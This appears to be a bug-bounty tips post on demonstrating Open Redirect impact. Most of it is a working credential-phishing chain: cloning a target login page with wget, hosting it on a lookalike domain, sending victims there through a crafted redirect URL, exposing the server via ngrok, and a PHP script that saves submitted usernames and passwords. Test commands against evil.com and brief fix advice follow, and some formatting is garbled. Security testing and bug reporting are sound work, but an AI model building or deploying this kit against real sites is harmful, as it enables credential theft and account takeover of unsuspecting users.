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Open Redirect vulnerabilities are often underestimated, but they can lead to severe security breaches when combined with social engineering. Below is a detailed methodology to demonstrate the impact of an Open Redirect vulnerability, along with practical commands and steps.
You Should Know:
1. Cloning the Target Login Page
Use `wget` or `curl` to clone the target login page:
wget --mirror --convert-links --adjust-extension --page-requisites --no-parent https://target-site.com/login
Host it on a local server (e.g., Apache):
sudo apt install apache2 sudo cp -r target-site.com /var/www/html/cloned-login sudo systemctl start apache2
2. Setting Up a Lookalike Domain
Edit `/etc/hosts` to map a fake domain to your local server:
echo "127.0.0.1 fake-target.com" | sudo tee -a /etc/hosts
3. Redirecting Traffic via Open Redirect
Exploit the Open Redirect vulnerability by crafting a malicious URL:
[/bash]
https://target-site.com/redirect?url=http://fake-target.com/cloned-login
<ol> <li>Capturing Credentials Use a tool like `ngrok` to expose your local server to the internet: [bash] ./ngrok http 80
Log submitted credentials using a simple PHP script (/var/www/html/cloned-login/login.php):
<?php
file_put_contents('creds.txt', $_POST['username'] . ':' . $_POST['password'] . PHP_EOL, FILE_APPEND);
header("Location: https://target-site.com/login?error=1");
?>
5. Demonstrating Impact in Bug Reports
Include server logs and redacted credentials:
cat /var/log/apache2/access.log | grep "POST /login.php"
Example (redacted):
[/bash]
- - [04/Jun/2025:14:22:33] "POST /login.php HTTP/1.1" 302 - [bash] What Undercode Say: Open Redirect vulnerabilities, when chained with phishing, can lead to credential theft and account takeovers. Always validate redirect URLs on the server side. Use these Linux commands for testing: [bash] Check for open redirects using curl curl -I "https://target-site.com/redirect?url=http://evil.com" Monitor Apache logs in real-time tail -f /var/log/apache2/access.log Test DNS spoofing locally dig fake-target.com
For Windows security testing:
Check hosts file for tampering Get-Content C:\Windows\System32\drivers\etc\hosts Test URL redirection Invoke-WebRequest -Uri "https://target-site.com/redirect?url=http://evil.com" -Method Head
Prediction:
As phishing techniques evolve, Open Redirect vulnerabilities will increasingly be abused in credential harvesting campaigns. Companies must enforce strict URL validation and implement multi-factor authentication (MFA) to mitigate risks.
Expected Output:
A well-documented bug report showing:
- The Open Redirect PoC URL.
- Server logs confirming credential capture.
- A redacted sample of stolen credentials.
- Recommended fixes (e.g., whitelist allowed domains).
Relevant URL: OWASP Unvalidated Redirects and Forwards
IT/Security Reporter URL:
Reported By: Rohanhotkar Bugbountytips – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
